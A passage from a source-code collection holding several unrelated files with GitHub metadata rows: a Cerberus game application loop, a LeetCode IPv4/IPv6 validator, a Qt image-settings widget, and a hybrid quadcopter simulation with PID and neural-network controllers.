while(sub.length()<s.length()){
sub+=x;
}
if(sub==s) return true;
return false;
}
};
| [
"noreply@github.com"
] | noreply@github.com |
7475ea27dbf704d9ef8fcf5aa6546daa17537af7 | 7cc01e8a24790592db0849b19560724b22c1911c | /source/App/app.cpp | 225c959d9797e5835d32e2951182e82fcf2c4181 | [
"BSD-2-Clause"
] | permissive | powerredrum/cerberus | 1c5dd9763d4dba3c89751c53de49133d29209359 | 749f8e90bd87b2d8737c57a599979939b2774916 | refs/heads/master | 2021-01-17T23:26:23.380703 | 2010-05-31T22:53:58 | 2010-05-31T22:59:18 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,133 | cpp | /*
* Copyright (c) 2010 Steven Noonan <steven@uplinklabs.net>
* and Miah Clayton <miah@ferrousmoon.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "universal_include.h"
#ifndef TARGET_OS_WINDOWS
# include <sys/stat.h>
#else
# include <shlobj.h>
#endif
#include "App/app.h"
#include "App/file_utils.h"
#include "App/string_utils.h"
#include "App/preferences.h"
#include "App/version.h"
#include "Game/game.h"
#include "Graphics/graphics.h"
#include "Interface/error_window.h"
#include "Interface/text.h"
#include "Interface/button.h"
#include "Interface/interface.h"
#include "Network/net.h"
#include "Sound/soundsystem.h"
#ifdef TARGET_OS_MACOSX
extern char **NXArgv; // system variable we can exploit
#endif
App::App ()
: m_gameSpeed(5),
m_appPath ( NULL ),
m_appSupportPath ( NULL ),
m_resourcePath ( NULL ),
m_fps ( 0 ),
m_running ( true )
{
char tempPath[2048];
memset ( tempPath, 0, sizeof ( tempPath ) );
// Set up the Application Path variable
#if defined ( TARGET_OS_WINDOWS )
int retval = GetModuleFileName ( NULL, tempPath, sizeof ( tempPath ) );
CrbDebugAssert ( retval != 0 );
if ( strlen(tempPath) )
{
char *ptr = &tempPath[strlen(tempPath)];
while ( *(--ptr) != '\\' ) {};
ptr[1] = '\x0';
}
else
strcpy ( tempPath, ".\\" );
#elif defined ( TARGET_OS_LINUX )
int retval = readlink ( "/proc/self/exe", tempPath, sizeof ( tempPath ) );
CrbDebugAssert ( retval != -1 );
if ( strlen(tempPath) )
{
char *ptr = &tempPath[strlen(tempPath)];
while ( *(--ptr) != '/' ) {};
ptr[1] = '\x0';
}
else
strcpy ( tempPath, "./" );
#elif defined ( TARGET_OS_MACOSX )
strncpy ( tempPath, NXArgv[0], sizeof ( tempPath ) );
if ( strlen(tempPath) )
{
char *ptr = &tempPath[strlen(tempPath)];
while ( *(--ptr) != '/' ) {};
ptr[1] = '\x0';
}
else
strcpy ( tempPath, "./" );
#endif
m_appPath = newStr ( tempPath );
// Set up the resources directory variable
#if defined ( TARGET_OS_WINDOWS )
m_resourcePath = newStr ( m_appPath );
#elif defined ( TARGET_OS_LINUX )
m_resourcePath = newStr ( m_appPath );
#elif defined ( TARGET_OS_MACOSX )
sprintf ( tempPath, "%s../Resources/", m_appPath );
m_resourcePath = newStr ( tempPath );
#endif
// Set up the Application Support path
#if defined ( TARGET_OS_WINDOWS )
memset ( tempPath, 0, sizeof(tempPath) );
retval = SHGetFolderPath ( NULL, CSIDL_LOCAL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, tempPath );
CrbDebugAssert ( retval != E_FAIL );
strcat ( tempPath, "\\Cerberus\\" );
m_appSupportPath = newStr ( tempPath );
#elif defined ( TARGET_OS_LINUX )
const char *homePath = getenv ( "HOME" );
CrbReleaseAssert ( homePath );
sprintf ( tempPath, "%s/.cerberus/", homePath );
m_appSupportPath = newStr ( tempPath );
#elif defined ( TARGET_OS_MACOSX )
const char *homePath = getenv ( "HOME" );
CrbReleaseAssert ( homePath );
sprintf ( tempPath, "%s/Library/Application Support/Cerberus/", homePath );
m_appSupportPath = newStr ( tempPath );
#endif
CreateDirectory ( m_appSupportPath );
CrbDebugAssert ( m_appPath != NULL );
CrbDebugAssert ( m_resourcePath != NULL );
CrbDebugAssert ( m_appSupportPath != NULL );
#ifdef REDIRECT_STDOUT
FILE *stdoutfile; FILE *stderrfile;
sprintf ( tempPath, "%sdebug.log", m_appSupportPath );
remove ( tempPath );
stdoutfile = freopen ( tempPath, "a", stdout );
if ( !stdoutfile ) fprintf ( stderr, "WARNING : Failed to open debug.log for writing stdout\n" );
stderrfile = freopen ( tempPath, "a", stderr );
if ( !stderrfile ) fprintf ( stderr, "WARNING : Failed to open debug.log for writing stderr\n" );
#endif
m_resource = new Resource();
}
App::~App()
{
delete m_resource;
m_resource = NULL;
delete [] m_appPath;
m_appPath = NULL;
delete [] m_appSupportPath;
m_appSupportPath = NULL;
delete [] m_resourcePath;
m_resourcePath = NULL;
}
void App::Initialise()
{
TextUI *text = new TextUI (
APP_NAME, Color32(255,0,0),
g_graphics->GetScreenWidth () - 290,
g_graphics->GetScreenHeight () - 38);
g_interface->AddWidget ( text );
char buffer[1024];
sprintf(buffer, "For testing purposes only. v%s", Cerberus::Version::LongVersion());
text = new TextUI (
buffer, Color32(255,0,0),
g_graphics->GetScreenWidth () - 290,
g_graphics->GetScreenHeight () - 25 );
g_interface->AddWidget ( text );
}
void App::CreateDirectory ( const char *_path )
{
#ifdef TARGET_OS_WINDOWS
::CreateDirectoryA ( _path, NULL );
#else
mkdir ( _path, S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH );
#endif
}
const char *App::GetResourcePath ()
{
return m_resourcePath;
}
const char *App::GetApplicationPath ()
{
return m_appPath;
}
const char *App::GetApplicationSupportPath ()
{
return m_appSupportPath;
}
void App::Run ()
{
int framesThisSecond = 0;
bool deviceLost = false;
m_tmrFPS.Start();
System::Stopwatch lastFrame;
lastFrame.Start();
CrbReleaseAssert ( g_interface != NULL );
CrbReleaseAssert ( g_graphics != NULL );
SDL_EnableUNICODE ( 1 );
g_interface->UpdateRendererWidget();
m_tmrGameSpeed.Start();
while ( m_running )
{
// Force 60fps max.
#ifndef FORCE_VSYNC
if ( g_prefsManager->GetInt ( "WaitVerticalRetrace", 1 ) != 0 )
#endif
{
int sleepTime;
lastFrame.Stop();
sleepTime = (int)( ( 1000.0 / 60.0 ) - ( lastFrame.Elapsed() * 1000.0 ) );
if ( sleepTime > 0 )
System::ThreadSleep ( sleepTime );
lastFrame.Start();
}
UpdateInputs();
g_interface->Update();
if ( g_game->Playing() ) {
g_game->Update();
} else {
}
g_interface->RenderMouse();
g_interface->RenderWidgets();
// Play any queued sounds.
if ( g_soundSystem != NULL )
g_soundSystem->Update();
if ( !g_graphics->Flip() )
{
if ( !deviceLost )
{
g_console->SetColour ( IO::Console::FG_YELLOW | IO::Console::FG_INTENSITY );
g_console->WriteLine ( "WARNING: Device lost, textures need to be recreated." );
g_console->SetColour ();
deviceLost = true;
}
} else {
if ( deviceLost )
{
g_console->SetColour ( IO::Console::FG_YELLOW | IO::Console::FG_INTENSITY );
g_console->WriteLine ( "WARNING: Device recaptured. Recreating textures." );
g_console->SetColour ();
deviceLost = false;
}
}
g_graphics->FillRect(SCREEN_SURFACE_ID, NULL, Color32(0,0,0));
// We don't want the frame rate to affect game speed, so we use
// a timer to throttle it.
m_tmrGameSpeed.Stop();
m_gameSpeed = 71.5 * m_tmrGameSpeed.Elapsed();
if ( m_gameSpeed > 50.0 ) m_gameSpeed = 50.0;
m_tmrGameSpeed.Start();
// Now make sure we haven't used up a second yet.
m_tmrFPS.Stop();
if ( m_tmrFPS.Elapsed() >= 1.0 )
{
g_interface->UpdateFPS ( framesThisSecond );
framesThisSecond = 0;
m_tmrFPS.Start();
} else {
// Add a frame to the count.
framesThisSecond++;
}
}
}
void App::Quit()
{
m_running = false;
}
double App::Speed()
{
return m_gameSpeed;
}
void App::UpdateInputs ()
{
SDL_Event event;
while ( SDL_PollEvent ( &event ) )
{
switch ( event.type )
{
case SDL_QUIT:
m_running = false;
break;
case SDL_KEYDOWN:
{
}
break;
}
}
// Handle Command+Q on Mac OS X
#ifdef TARGET_OS_MACOSX
int arraySz = 0;
Uint8 *keyState = SDL_GetKeyState(&arraySz);
static bool cmdQ = false;
if ( !cmdQ && ( keyState[SDLK_LMETA] || keyState[SDLK_RMETA] ) && keyState[SDLK_q] )
{
cmdQ = true;
if ( g_game->Playing() )
{
#if 0
QuitWindow *quitWindow;
if ( (quitWindow = (QuitWindow *)g_interface->GetWidgetOfType ( WIDGET_QUIT_WINDOW )) != NULL )
{
g_interface->RemoveWidget ( quitWindow );
} else {
quitWindow = new QuitWindow();
g_interface->AddWidget ( quitWindow );
quitWindow = NULL;
}
#endif
} else {
m_running = false;
}
} else if ( cmdQ && ( !keyState[SDLK_LMETA] && !keyState[SDLK_RMETA] ) || !keyState[SDLK_q] ) {
cmdQ = false;
}
#endif
}
App *g_app;
| [
"steven@uplinklabs.net"
] | steven@uplinklabs.net |
97e5f24241774b9181f0052c2fe00b066aec8262 | c565f1fd4c080a73d2b4e2ccff44aa9e75571931 | /leet_code/strings/medium/validate_ip_address.cpp | 375ec0e45db1ccc615ef235f62770efd4904baf9 | [] | no_license | subnr01/subs-practice | 781e74e79dfcc2de8c323c61e792d7374f57e829 | 8cfefa1d0cb4a436456fa91202df67f7c205bf2b | refs/heads/master | 2021-06-06T11:29:06.859831 | 2019-04-21T02:55:34 | 2019-04-21T02:55:34 | 47,920,343 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,621 | cpp | /*
Write a function to check whether an input string is a valid IPv4 address or IPv6 address or neither.
IPv4 addresses are canonically represented in dot-decimal notation, which consists of four decimal numbers,
each ranging from 0 to 255, separated by dots ("."), e.g.,172.16.254.1;
Besides, leading zeros in the IPv4 is invalid. For example, the address 172.16.254.01 is invalid.
IPv6 addresses are represented as eight groups of four hexadecimal digits, each group representing 16 bits.
The groups are separated by colons (":"). For example, the address 2001:0db8:85a3:0000:0000:8a2e:0370:7334 is a
valid one. Also, we could omit some leading zeros among four hexadecimal digits and some low-case characters in
the address to upper-case ones, so 2001:db8:85a3:0:0:8A2E:0370:7334 is also a valid IPv6 address(Omit leading
zeros and using upper cases).
However, we don't replace a consecutive group of zero value with a single empty group using two consecutive colons
(::) to pursue simplicity. For example, 2001:0db8:85a3::8A2E:0370:7334 is an invalid IPv6 address.
Besides, extra leading zeros in the IPv6 is also invalid. For example, the address
02001:0db8:85a3:0000:0000:8a2e:0370:7334 is invalid.
Note: You may assume there is no extra space or special characters in the input string.
Example 1:
Input: "172.16.254.1"
Output: "IPv4"
Explanation: This is a valid IPv4 address, return "IPv4".
Example 2:
Input: "2001:0db8:85a3:0:0:8A2E:0370:7334"
Output: "IPv6"
Explanation: This is a valid IPv6 address, return "IPv6".
Example 3:
Input: "256.256.256.256"
Output: "Neither"
Explanation: This is neither a IPv4 address nor a IPv6 address.
*/
class Solution {
public:
const string validIPv6Chars = "0123456789abcdefABCDEF";
bool isValidIPv4Block(string& block) {
//initilisation is important
int num = 0;
//block size must be less than or equal to 3
if (block.size() > 0 && block.size() <= 3) {
for (int i = 0; i < block.size(); i++) {
char c = block[i];
// if c is not a single digit 0, then return false;
if (!isalnum(c) || (i == 0 && c == '0' && block.size() > 1))
return false;
else {
num *= 10;
num += c - '0';
}
}
return num <= 255;
}
return false;
}
bool isValidIPv6Block(string& block) {
//block size must be less than or equal to 4
if (block.size() > 0 && block.size() <= 4) {
for (int i = 0; i < block.size(); i++) {
char c = block[i];
if (validIPv6Chars.find(c) == string::npos)
return false;
}
return true;
}
return false;
}
string validIPAddress(string IP) {
string ans[3] = {"IPv4", "IPv6", "Neither"};
stringstream ss(IP);
string block;
//if any of the first 4 characters contain '.'
if (IP.substr(0, 4).find('.') != string::npos) {
//There are 4 strings delimited by '.'
for (int i = 0; i < 4; i++) {
if (!getline(ss, block, '.') || !isValidIPv4Block(block))
return ans[2];
}
return ss.eof() ? ans[0] : ans[2];
}
//if any of the first 4 characters contain ':'
else if (IP.substr(0, 5).find(':') != string::npos) {
//There are 8 strings delimited by ':'
for (int i = 0; i < 8; i++) {
if (!getline(ss, block, ':') || !isValidIPv6Block(block))
return ans[2];
}
return ss.eof() ? ans[1] : ans[2];
}
return ans[2];
}
};
| [
"noreply@github.com"
] | noreply@github.com |
905dcc822c76c3d40221e9c7883d281c47fce65d | e1700081b3e9fa1c74e6dd903da767a3fdeca7f5 | /libs/guicore/image/imagesettingwidget.cpp | 4669ff69e3452673374c275d1d8bc18106385b57 | [
"MIT"
] | permissive | i-RIC/prepost-gui | 2fdd727625751e624245c3b9c88ca5aa496674c0 | 8de8a3ef8366adc7d489edcd500a691a44d6fdad | refs/heads/develop_v4 | 2023-08-31T09:10:21.010343 | 2023-08-31T06:54:26 | 2023-08-31T06:54:26 | 67,224,522 | 8 | 12 | MIT | 2023-08-29T23:04:45 | 2016-09-02T13:24:00 | C++ | UTF-8 | C++ | false | false | 5,106 | cpp | #include "imagesettingcontainer.h"
#include "imagesettingwidget.h"
#include "ui_imagesettingwidget.h"
ImageSettingWidget::ImageSettingWidget(QWidget *parent) :
QWidget(parent),
ui(new Ui::ImageSettingWidget)
{
ui->setupUi(this);
connect(ui->topLeftRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->topRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->topRightRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->leftRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->rightRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->bottomLeftRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->bottomRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
connect(ui->bottomRightRadioButton, &QRadioButton::clicked, this, &ImageSettingWidget::handlePositionChange);
}
ImageSettingWidget::~ImageSettingWidget()
{
delete ui;
}
ImageSettingContainer ImageSettingWidget::setting() const
{
ImageSettingContainer ret;
if (ui->topLeftRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::TopLeft;
} else if (ui->topRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::Top;
} else if (ui->topRightRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::TopRight;
} else if (ui->leftRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::Left;
} else if (ui->rightRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::Right;
} else if (ui->bottomLeftRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::BottomLeft;
} else if (ui->bottomRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::Bottom;
} else if (ui->bottomRightRadioButton->isChecked()) {
ret.position = ImageSettingContainer::Position::BottomRight;
}
ret.horizontalMargin = ui->horizontalMarginSpinBox->value() / 100;
ret.verticalMargin = ui->verticalMarginSpinBox->value() / 100;
ret.width = ui->widthSpinBox->value();
ret.height = ui->heightSpinBox->value();
return ret;
}
void ImageSettingWidget::setSetting(const ImageSettingContainer& setting)
{
auto pos = setting.position.value();
if (pos == ImageSettingContainer::Position::TopLeft) {
ui->topLeftRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::Top) {
ui->topRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::TopRight) {
ui->topRightRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::Left) {
ui->leftRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::Right) {
ui->rightRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::BottomLeft) {
ui->bottomLeftRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::Bottom) {
ui->bottomRadioButton->setChecked(true);
} else if (pos == ImageSettingContainer::Position::BottomRight) {
ui->bottomRightRadioButton->setChecked(true);
}
ui->horizontalMarginSpinBox->setValue(setting.horizontalMargin * 100);
ui->verticalMarginSpinBox->setValue(setting.verticalMargin * 100);
ui->widthSpinBox->setValue(setting.width);
ui->heightSpinBox->setValue(setting.height);
handlePositionChange();
}
int ImageSettingWidget::width() const
{
return ui->widthSpinBox->value();
}
void ImageSettingWidget::setWidth(int width)
{
ui->widthSpinBox->setValue(width);
}
int ImageSettingWidget::height() const
{
return ui->heightSpinBox->value();
}
void ImageSettingWidget::setHeight(int height)
{
ui->heightSpinBox->setValue(height);
}
void ImageSettingWidget::handlePositionChange()
{
bool left =
ui->topLeftRadioButton->isChecked() || ui->leftRadioButton->isChecked() || ui->bottomLeftRadioButton->isChecked();
bool right =
ui->topRightRadioButton->isChecked() || ui->rightRadioButton->isChecked() || ui->bottomRightRadioButton->isChecked();
bool top =
ui->topLeftRadioButton->isChecked() || ui->topRadioButton->isChecked() || ui->topRightRadioButton->isChecked();
bool bottom =
ui->bottomLeftRadioButton->isChecked() || ui->bottomRadioButton->isChecked() || ui->bottomRightRadioButton->isChecked();
ui->horizontalMarginSpinBox->setEnabled(true);
ui->verticalMarginSpinBox->setEnabled(true);
if (left) {
ui->horizontalMarginLabel->setText(tr("Distance from left"));
} else if (right) {
ui->horizontalMarginLabel->setText(tr("Distance from right"));
} else {
ui->horizontalMarginLabel->setText("");
ui->horizontalMarginSpinBox->setDisabled(true);
}
if (top) {
ui->verticalMarginLabel->setText(tr("Distance from top"));
} else if (bottom) {
ui->verticalMarginLabel->setText(tr("Distance from bottom"));
} else {
ui->verticalMarginLabel->setText("");
ui->verticalMarginSpinBox->setDisabled(true);
}
}
| [
"kskinoue@gmail.com"
] | kskinoue@gmail.com |
a675fbf0cf2e12d0e50dae593623c869942c8894 | 7838348665f03e89c6fe9e818bdc0db35d5018bb | /SimulationUI/projects/copter_simulation/HybridCopter.cpp | 7f9b41d199a9ea11e8e486404f55c6d1e58d98e6 | [
"MIT"
] | permissive | Liming-Zheng/LearningToFly | df93289767412d6b01427e1bcd149ec122944330 | 8d1eeb5a99b185358ec94ba65afceb6747d6438d | refs/heads/master | 2023-02-20T21:47:34.447813 | 2021-01-25T16:44:01 | 2021-01-25T16:44:01 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 27,582 | cpp | #include "HybridCopter.h"
#include "tiny_obj_loader.h"
#include "Controller/NN/NNController.h"
#include <random>
namespace copter_simulation {
HybridCopter::HybridCopter(const int simulation_fps)
: _simulation_fps(simulation_fps),
_taking_off(true), _taking_off_height(0.0f),
_in_transition(false), _flight_mode(FlightMode::COPTER_MODE),
_clean_sensor(false),
_sensor(_noisy_sensor, _simulate_delay, _delay),
_pid_quadplane_controller(_sensor, *this),
_nn_controller(_sensor, *this),
_roll_in(0.0f), _pitch_in(0.0f), _yaw_in(0.0f),
_throttle_in(0.0f), _throttle_activated(false),
_log(k_param_project_source_dir + k_param_log_directory),
_flight_controller(FlightController::NN),
_director_mode(false), _script_step(0) {}
HybridCopter::~HybridCopter()
{
}
void HybridCopter::Initialize() {
Reset();
InitializeControllers();
}
void HybridCopter::SwitchController() {
if (_flight_controller == FlightController::NN)
_flight_controller = FlightController::QuadPlane;
else if (_flight_controller == FlightController::QuadPlane)
_flight_controller = FlightController::NN;
}
void HybridCopter::InitializeControllers() {
_pid_quadplane_controller.add_motors(_rotors);
assert((int)_rotors.size() == _nn_controller.action_space_dim());
}
void HybridCopter::Reset() {
_current_time = 0.0f;
/* Reset Rigid Body */
float mass;
Eigen::Matrix3f inertia_body;
ComputeMassProperty(mass, inertia_body);
// Add noise to mass and inertia tensor
if (_noisy_body) {
mass *= Random::uniform<float>(1.0f - _noise_mass, 1.0f + _noise_mass);
for (int i = 0; i < 3; ++i)
for (int j = i; j < 3; ++j) {
inertia_body(i, j) *= Random::uniform<float>(1.0f - _noise_inertia, 1.0f + _noise_inertia);
inertia_body(j, i) = inertia_body(i, j);
}
}
// Taking-off stage
const auto&& right = _copter_mesh.BoundingBox()._right_corner;
_taking_off_height = -right(2);
_taking_off = true;
_rigid_body.Initialize(mass, inertia_body.cast<double>(),
Eigen::Vector3d::UnitZ() * _taking_off_height,
Eigen::Vector3d::Zero(),
Eigen::Quaterniond::Identity(),
Eigen::Vector3d::Zero());
/* Reset signal input */
_roll_in = _pitch_in = _yaw_in = _throttle_in = 0.0f;
_throttle_activated = false;
_target_yaw_diff = 0.0;
/* Reset Sensors */
_clean_sensor.Reset();
_sensor.Reset();
_clean_sensor.Update(_rigid_body.orientation().cast<float>(), _rigid_body.omega().cast<float>(),
_rigid_body.position().cast<float>(), _rigid_body.velocity().cast<float>(), _rigid_body.acceleration().cast<float>(), 0.0);
_sensor.Update(_rigid_body.orientation().cast<float>(), _rigid_body.omega().cast<float>(),
_rigid_body.position().cast<float>(), _rigid_body.velocity().cast<float>(), _rigid_body.acceleration().cast<float>(), 0.0);
/* Reset Controllers */
_pid_quadplane_controller.reset();
_nn_controller.reset();
// Reset delay queues
_rpyt_his.clear();
_rpyt_his.reserve(1 << 16);
_time_his.clear();
_time_his.reserve(1 << 16);
// reset last action
_last_action.clear();
_last_action.resize(_rotors.size(), 0.0f);
// Beichen Li: load script for director's mode
if (_director_mode)
LoadScript(k_param_project_source_dir + k_param_script_path);
}
void HybridCopter::Advance(float dt) {
// run controller
Eigen::Vector4f rpyt_in;
Eigen::VectorXf motor_output;
// Beichen Li: director's mode (restricted to NN controller)
if (_director_mode) {
assert(_flight_controller == FlightController::NN);
// Switch to the next target
if (_script_step < (int)_script_timestamps.size() && _script_timestamps[_script_step] <= _current_time) {
std::cout << "Script step " << _script_step << ": target = " <<
_script_targets[_script_step].transpose().eval() << std::endl;
_script_step++;
}
// Deploy the current target
if (_script_step > 0) {
auto current_target = _script_targets[_script_step - 1];
// Smooth transition
if (_script_step < (int)_script_timestamps.size()) {
auto next_target = _script_targets[_script_step];
float transition = std::min(_script_timestamps[_script_step] - _script_timestamps[_script_step - 1], k_param_max_transition);
float time_left = _script_timestamps[_script_step] - _current_time;
if (time_left <= transition)
current_target = (current_target * time_left + next_target * (transition - time_left)) / transition;
}
_vx_in = current_target[0];
_vy_in = current_target[1];
_vz_in = current_target[2];
_target_yaw_diff = current_target[3];
}
}
// add record to delay table
if (_flight_controller == FlightController::QuadPlane) {
_rpyt_his.emplace_back(Eigen::Vector4f(_roll_in, _pitch_in, _yaw_in, _throttle_in));
}
else if (_flight_controller == FlightController::NN) {
_rpyt_his.emplace_back(Eigen::Vector4f(_vx_in, _vy_in, _vz_in, _target_yaw_diff));
}
_time_his.push_back(_current_time);
// delayed output
// int his_idx = _rpyt_his.size() - 1;
// while (his_idx > 0 && _time_his[his_idx] > _current_time - _delay)
// --his_idx;
// if (_flight_controller == FlightController::QuadPlane) {
// _pid_quadplane_controller.output(_rpyt_his[his_idx], motor_output);
// }
// else if (_flight_controller == FlightController::NN) {
// _nn_controller.output(_rpyt_his[his_idx], motor_output);
// }
if (_flight_controller == FlightController::QuadPlane) {
rpyt_in = Eigen::Vector4f(_roll_in, _pitch_in, _yaw_in, _throttle_in);
_pid_quadplane_controller.output(rpyt_in, motor_output);
} else if (_flight_controller == FlightController::NN) {
rpyt_in = Eigen::Vector4f(_vx_in, _vy_in, _vz_in, _target_yaw_diff);
_nn_controller.output(rpyt_in, motor_output);
}
// constrain motor output
if (_constrain_motor_output) {
for (int i = 0;i < _rotors.size();i++) {
motor_output[i] = copter_utils::Clamp(motor_output[i], _last_action[i] - 0.2, _last_action[i] + 0.2);
}
}
// record action
for (int i = 0; i < (int)_rotors.size(); ++i)
_last_action[i] = motor_output[i];
// simulation
dt = _noisy_dt ? Random::uniform<float>(1.0f - _noise_dt, 1.0f + _noise_dt) * dt : dt;
RunSimulation(motor_output, dt);
_current_time += dt;
// update clean sensor
_clean_sensor.Update(_rigid_body.orientation().cast<float>(), _rigid_body.omega().cast<float>(),
_rigid_body.position().cast<float>(), _rigid_body.velocity().cast<float>(), _rigid_body.acceleration().cast<float>(), _current_time);
// update controller sensor
_sensor.Update(_rigid_body.orientation().cast<float>(), _rigid_body.omega().cast<float>(),
_rigid_body.position().cast<float>(), _rigid_body.velocity().cast<float>(), _rigid_body.acceleration().cast<float>(), _current_time);
// Log
_log.Buffer(_current_time);
_log.Buffer(_clean_sensor.position().cast<double>());
_log.Buffer(_clean_sensor.velocity().cast<double>());
_log.Buffer(_clean_sensor.acceleration().cast<double>());
_log.Buffer(_clean_sensor.rpy().cast<double>());
_log.Buffer(_clean_sensor.rpy_rate().cast<double>());
_log.Buffer(rpyt_in.cast<double>());
for (int i = 0;i < _rotors.size();++i)
_log.Buffer(_rotors[i].desired_thrust());
_log.Flush();
}
void HybridCopter::RunSimulation(Eigen::VectorXf& motor_output, float dt) {
// Apply Gravity
_rigid_body.ApplyForceInWorldFrame(
Eigen::Vector3d::UnitZ() * _rigid_body.mass() * k_param_gravity,
_rigid_body.PointBodyToWorld(Eigen::Vector3d(0.0f, 0.0f, 0.0f)));
// Apply Thrust
for (int i = 0;i < _rotors.size();++i)
_rotors[i].output(motor_output[i]);
for (int i = 0;i < _rotors.size();++i) {
_rigid_body.ApplyForceInBodyFrame(_rotors[i].get_thrust().cast<double>(),
_rotors[i].position_body_frame().cast<double>());
_rigid_body.ApplyTorque(
_rigid_body.VectorBodyToWorld(_rotors[i].get_torque().cast<double>()));
}
// Apply Aerodynamic Forces
UpdateAerodynamics(_rigid_body);
_rigid_body.ApplyForceInWorldFrame(
_lift_force.cast<double>(),
_rigid_body.PointBodyToWorld(_aerodynamic_center.cast<double>()));
_rigid_body.ApplyForceInWorldFrame(
_drag_force.cast<double>(),
_rigid_body.PointBodyToWorld(_aerodynamic_center.cast<double>()));
// Add Fuselage Drag
if (_noisy_fuselage_drag) {
float coef = Random::normal<float>(0.02, 0.01);
_rigid_body.ApplyForceInWorldFrame(
-coef * _rigid_body.velocity().norm() * k_param_air_rho * _rigid_body.velocity(),
_rigid_body.PointBodyToWorld(Eigen::Vector3d(0.0f, 0.0f, 0.0f)));
}
// Taking-off stage
if (_rigid_body.external_force()(2) < 0)
_taking_off = false;
if (_rigid_body.position()(2) > _taking_off_height) {
_rigid_body.TouchGround(_taking_off_height);
_taking_off = true;
}
if (_taking_off)
_rigid_body.Clear();
_rigid_body.Advance(dt);
}
void HybridCopter::UpdateAerodynamics(RigidBody& body) {
Eigen::Vector3d chord_direction = _wing_direction.cast<double>();
Eigen::Vector3d downward_direction(-_wing_direction[2], _wing_direction[1], _wing_direction[0]);
chord_direction.normalize(); downward_direction.normalize();
Eigen::Vector3d velocity_world = body.velocity();
Eigen::Matrix3d R = body.orientation().matrix();
Eigen::Vector3d velocity_body = R.transpose() * velocity_world;
Eigen::Vector3d velocity_body_projected(velocity_body(0), 0.0f, velocity_body(2));
if (velocity_body_projected.norm() < eps) {
_angle_of_attack = 0.0f;
_lift_force << 0, 0, 0;
_drag_force << 0, 0, 0;
return;
}
Eigen::Vector3d lift_dir_body(velocity_body(2), 0.0f, -velocity_body(0));
Eigen::Vector3d drag_dir_body = -velocity_body;
lift_dir_body.normalize();
drag_dir_body.normalize();
Eigen::Vector3f lift_dir = body.VectorBodyToWorld(lift_dir_body).cast<float>();
Eigen::Vector3f drag_dir = body.VectorBodyToWorld(drag_dir_body).cast<float>();
_angle_of_attack = std::asin(velocity_body_projected.dot(downward_direction) / velocity_body_projected.norm());
_lift_force = _aero_database.get_lift(_angle_of_attack, velocity_body_projected.norm()) * lift_dir;
_drag_force = _aero_database.get_drag(_angle_of_attack, velocity_body_projected.norm()) * drag_dir;
_aerodynamic_center = _aero_database.aerodynamic_center();
}
const Eigen::Matrix4f HybridCopter::TransformBodyToWorld(int component_id) const {
return _rigid_body.BodyToWorldTransform().cast<float>();
}
float HybridCopter::SafeStart(float throttle_in, float throttle_min, float throttle_max, bool throttle_control) {
// The default mode is COPTER_MODE, which works for all controllers
if (_flight_mode == FlightMode::COPTER_MODE) {
if (throttle_control && throttle_in >= k_param_radio_trim)
_throttle_activated = true;
if (throttle_control && !_throttle_activated)
return 0.0;
if (throttle_in < k_param_radio_trim - k_param_radio_deadzone)
return copter_utils::Remap(throttle_in,
k_param_radio_min, k_param_radio_trim - k_param_radio_deadzone,
throttle_min, 0.0);
else if (throttle_in > k_param_radio_trim + k_param_radio_deadzone)
return copter_utils::Remap(throttle_in,
k_param_radio_trim + k_param_radio_deadzone, k_param_radio_max,
0.0, throttle_max);
else
return 0.0;
}
else if (_flight_mode == FlightMode::GLIDING_MODE) {
if (throttle_control && throttle_in >= (k_param_radio_trim + k_param_radio_max) / 2.0f)
_throttle_activated = true;
if (throttle_control && !_throttle_activated) {
